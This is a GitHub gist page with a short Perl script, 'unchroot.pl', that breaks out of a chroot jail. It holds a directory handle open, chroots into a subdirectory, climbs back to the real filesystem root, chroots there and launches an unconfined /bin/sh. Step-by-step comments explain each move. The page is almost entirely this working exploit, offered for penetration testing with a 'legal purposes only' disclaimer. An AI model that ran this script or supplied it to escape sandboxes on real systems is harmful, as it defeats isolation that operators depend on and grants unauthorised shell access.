Created
April 29, 2016 01:00
-
-
Save jlamendo/4db937dc927a032366259d0c4ba3d5c6 to your computer and use it in GitHub Desktop.
chroot breakout perl
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl -w | |
use strict; | |
# unchroot.pl Dec 2007 | |
# http://pentestmonkey.net/blog/chroot-breakout-perl | |
# This script may be used for legal purposes only. | |
# Go to the root of the jail | |
chdir "/"; | |
# Open filehandle to root of jail | |
opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn"; | |
# Create a subdir, move into it | |
mkdir "mysubdir"; | |
chdir "mysubdir"; | |
# Lock ourselves in a new jail | |
chroot "."; | |
# Use our filehandle to get back to the root of the old jail | |
chdir(*JAILROOT); | |
# Get to the real root | |
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) { | |
chdir ".."; | |
} | |
# Lock ourselves in real root - so we're not really in a jail at all now | |
chroot "."; | |
# Start an un-jailed shell | |
system("/bin/sh"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment